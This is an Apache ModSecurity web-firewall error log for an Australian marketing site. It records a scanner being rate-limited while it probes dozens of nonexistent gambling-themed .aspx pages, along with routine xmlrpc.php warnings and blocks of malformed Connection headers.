[Sun Mar 08 17:30:10.886179 2026] [:error] [pid 22788:tid 22859] [client 217.182.194.26:35992] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aa1Bokhwluk21OG9mSfyfAAAA4Q"]
[Sun Mar 08 17:30:13.418250 2026] [:error] [pid 22668:tid 22748] [client 217.182.194.26:33982] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aa1BpemzLHpblwnQgPgKcQAAApA"]
[Sun Mar 08 17:30:15.881324 2026] [:error] [pid 22786:tid 22801] [client 217.182.194.26:33988] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aa1Bp3PuJewMN2jPbdXSRQAAAwA"]
[Sun Mar 08 17:30:18.229644 2026] [:error] [pid 22667:tid 22721] [client 217.182.194.26:33990] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aa1BquG7qk1roo-TRWOY_AAAAlA"]
[Sun Mar 08 17:30:20.721025 2026] [:error] [pid 22787:tid 22831] [client 217.182.194.26:33994] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aa1BrEF9MGMhk9pT4z78sAAAA0M"]
[Sun Mar 08 17:30:23.084048 2026] [:error] [pid 22786:tid 22817] [client 217.182.194.26:34008] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aa1Br3PuJewMN2jPbdXSXAAAAxA"]
[Sun Mar 08 17:30:25.552678 2026] [:error] [pid 22788:tid 22879] [client 217.182.194.26:40474] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aa1BsUhwluk21OG9mSfynAAAA5g"]
[Sun Mar 08 17:30:27.912250 2026] [:error] [pid 22786:tid 22809] [client 217.182.194.26:40490] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aa1Bs3PuJewMN2jPbdXSaQAAAwg"]
[Sun Mar 08 17:30:30.436510 2026] [:error] [pid 22786:tid 22808] [client 217.182.194.26:40502] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aa1BtnPuJewMN2jPbdXSdgAAAwc"]
[Sun Mar 08 17:30:32.885590 2026] [:error] [pid 43672:tid 43754] [client 217.182.194.26:40516] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aa1BuHqp35WgfA0DoNA-4AAAAIQ"]
[Sun Mar 08 17:30:35.396216 2026] [:error] [pid 22790:tid 22884] [client 217.182.194.26:41430] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aa1BuxXbGDWrzD_dTOfP_QAAA8I"]
[Sun Mar 08 17:30:37.927913 2026] [:error] [pid 22787:tid 22841] [client 217.182.194.26:41442] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aa1BvUF9MGMhk9pT4z78uwAAA00"]
[Sun Mar 08 17:30:40.415846 2026] [:error] [pid 22786:tid 22813] [client 217.182.194.26:41444] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aa1BwHPuJewMN2jPbdXSigAAAww"]
[Sun Mar 08 17:30:42.878509 2026] [:error] [pid 22668:tid 22752] [client 217.182.194.26:41456] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aa1BwumzLHpblwnQgPgKggAAApQ"]
[Sun Mar 08 17:30:45.333200 2026] [:error] [pid 22786:tid 22815] [client 217.182.194.26:55772] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aa1BxXPuJewMN2jPbdXSoQAAAw4"]
[Sun Mar 08 17:30:47.797782 2026] [:error] [pid 22786:tid 22815] [client 217.182.194.26:55776] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aa1Bx3PuJewMN2jPbdXSsQAAAw4"]
[Sun Mar 08 17:30:50.230028 2026] [:error] [pid 22786:tid 22807] [client 217.182.194.26:55786] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aa1BynPuJewMN2jPbdXSwwAAAwY"]
[Sun Mar 08 17:30:52.666319 2026] [:error] [pid 22788:tid 22874] [client 217.182.194.26:55788] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aa1BzEhwluk21OG9mSfytAAAA5M"]
[Sun Mar 08 17:30:55.111731 2026] [:error] [pid 22786:tid 22809] [client 217.182.194.26:45820] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aa1Bz3PuJewMN2jPbdXS0AAAAwg"]
[Sun Mar 08 17:30:57.585174 2026] [:error] [pid 22790:tid 22886] [client 217.182.194.26:45822] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aa1B0RXbGDWrzD_dTOfQBQAAA8Q"]
[Sun Mar 08 17:31:00.064685 2026] [:error] [pid 22786:tid 22819] [client 217.182.194.26:45828] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aa1B1HPuJewMN2jPbdXS1QAAAxI"]
[Sun Mar 08 17:31:02.542129 2026] [:error] [pid 22788:tid 22866] [client 217.182.194.26:45838] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aa1B1khwluk21OG9mSfyyQAAA4s"]
[Sun Mar 08 17:31:05.026921 2026] [:error] [pid 22788:tid 22866] [client 217.182.194.26:58692] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aa1B2Uhwluk21OG9mSfyzgAAA4s"]
[Sun Mar 08 17:31:26.136421 2026] [:error] [pid 43671:tid 43736] [client 217.182.194.26:58698] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aa1B7q6AdwroU1gT3XGduwAAAE0"]
[Sun Mar 08 17:31:28.585548 2026] [:error] [pid 22790:tid 22896] [client 217.182.194.26:57642] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aa1B8BXbGDWrzD_dTOfQMwAAA84"]
[Sun Mar 08 17:31:31.071965 2026] [:error] [pid 22786:tid 22808] [client 217.182.194.26:57658] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aa1B83PuJewMN2jPbdXTKgAAAwc"]
[Sun Mar 08 17:31:33.548485 2026] [:error] [pid 22787:tid 22849] [client 217.182.194.26:52848] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aa1B9UF9MGMhk9pT4z783QAAA1U"]
[Sun Mar 08 17:31:36.034928 2026] [:error] [pid 22786:tid 22801] [client 217.182.194.26:52854] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aa1B-HPuJewMN2jPbdXTPQAAAwA"]
[Sun Mar 08 17:31:38.500241 2026] [:error] [pid 22788:tid 22878] [client 217.182.194.26:52860] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aa1B-khwluk21OG9mSfy9QAAA5c"]
[Sun Mar 08 17:31:40.961460 2026] [:error] [pid 22790:tid 22895] [client 217.182.194.26:52864] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "aa1B_BXbGDWrzD_dTOfQOgAAA80"]
[Sun Mar 08 17:31:43.411837 2026] [:error] [pid 22786:tid 22824] [client 217.182.194.26:57050] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aa1B_3PuJewMN2jPbdXTVAAAAxc"]
[Sun Mar 08 17:31:45.881558 2026] [:error] [pid 22786:tid 22812] [client 217.182.194.26:57064] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aa1CAXPuJewMN2jPbdXTWQAAAws"]
[Sun Mar 08 17:31:48.335501 2026] [:error] [pid 22786:tid 22824] [client 217.182.194.26:57076] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aa1CBHPuJewMN2jPbdXTZwAAAxc"]
[Sun Mar 08 17:31:50.788906 2026] [:error] [pid 22787:tid 22845] [client 217.182.194.26:57090] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aa1CBkF9MGMhk9pT4z784QAAA1E"]
[Sun Mar 08 17:31:53.246731 2026] [:error] [pid 43671:tid 43723] [client 217.182.194.26:45604] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aa1CCa6AdwroU1gT3XGdvwAAAEA"]
[Sun Mar 08 17:31:55.704303 2026] [:error] [pid 22561:tid 22578] [client 217.182.194.26:45620] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aa1CC8IVn0KLevwXc5FHJAAAAU0"]
[Sun Mar 08 17:31:58.149838 2026] [:error] [pid 22788:tid 22865] [client 217.182.194.26:45628] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aa1CDkhwluk21OG9mSfzAwAAA4o"]
[Sun Mar 08 17:32:00.602380 2026] [:error] [pid 22790:tid 22900] [client 217.182.194.26:45636] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aa1CEBXbGDWrzD_dTOfQSAAAA9I"]
[Sun Mar 08 17:32:03.045128 2026] [:error] [pid 22786:tid 22813] [client 217.182.194.26:45652] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aa1CE3PuJewMN2jPbdXTqwAAAww"]
[Sun Mar 08 17:32:05.508736 2026] [:error] [pid 22788:tid 22872] [client 217.182.194.26:51888] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aa1CFUhwluk21OG9mSfzDQAAA5E"]
[Sun Mar 08 17:32:07.944846 2026] [:error] [pid 22788:tid 22879] [client 217.182.194.26:51900] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aa1CF0hwluk21OG9mSfzEwAAA5g"]
[Sun Mar 08 17:32:10.387963 2026] [:error] [pid 22788:tid 22877] [client 217.182.194.26:51910] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aa1CGkhwluk21OG9mSfzGAAAA5Y"]
[Sun Mar 08 17:32:12.832813 2026] [:error] [pid 22668:tid 22739] [client 217.182.194.26:51922] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aa1CHOmzLHpblwnQgPgKnAAAAoc"]
[Sun Mar 08 17:32:15.284526 2026] [:error] [pid 22786:tid 22814] [client 217.182.194.26:60844] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aa1CH3PuJewMN2jPbdXTvwAAAw0"]
[Sun Mar 08 17:32:17.734120 2026] [:error] [pid 22788:tid 22867] [client 217.182.194.26:60860] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aa1CIUhwluk21OG9mSfzHgAAA4w"]
[Sun Mar 08 17:32:20.200249 2026] [:error] [pid 22786:tid 22812] [client 217.182.194.26:60870] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aa1CJHPuJewMN2jPbdXT1gAAAws"]
[Sun Mar 08 17:32:22.631073 2026] [:error] [pid 22786:tid 22815] [client 217.182.194.26:60884] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aa1CJnPuJewMN2jPbdXT3wAAAw4"]
[Sun Mar 08 18:30:22.792898 2026] [:error] [pid 22669:tid 22761] [client 5.77.193.105:9016] [client 5.77.193.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.77.193.105, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aa1PvmvqAhy8LIaua-p9TQAAAsI"]
[Sun Mar 08 18:36:08.449328 2026] [:error] [pid 22787:tid 22835] [client 152.57.89.12:53663] [client 152.57.89.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.57.89.12, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aa1RGEF9MGMhk9pT4z4KgAAAA0c"]
[Sun Mar 08 19:57:47.308123 2026] [:error] [pid 22788:tid 22867] [client 49.235.136.28:49678] [client 49.235.136.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aa1kO0hwluk21OG9mScg8wAAA4w"]
[Mon Mar 09 00:43:19.065155 2026] [:error] [pid 16352:tid 16355] [client 85.57.98.203:61066] [client 85.57.98.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.57.98.203, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aa2nJ-S719tlqxBPD_C6FgAAAMA"]
[Mon Mar 09 01:24:54.447786 2026] [:error] [pid 49677:tid 49734] [client 182.10.130.226:53717] [client 182.10.130.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.10.130.226, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aa2w5tgMztaTv5fI2XrpaQAAAIY"]
[Mon Mar 09 02:41:48.551959 2026] [:error] [pid 49392:tid 49592] [client 43.140.247.223:59512] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aa3C7LhnfLjo2gwJdbFTIAAAAEY"]
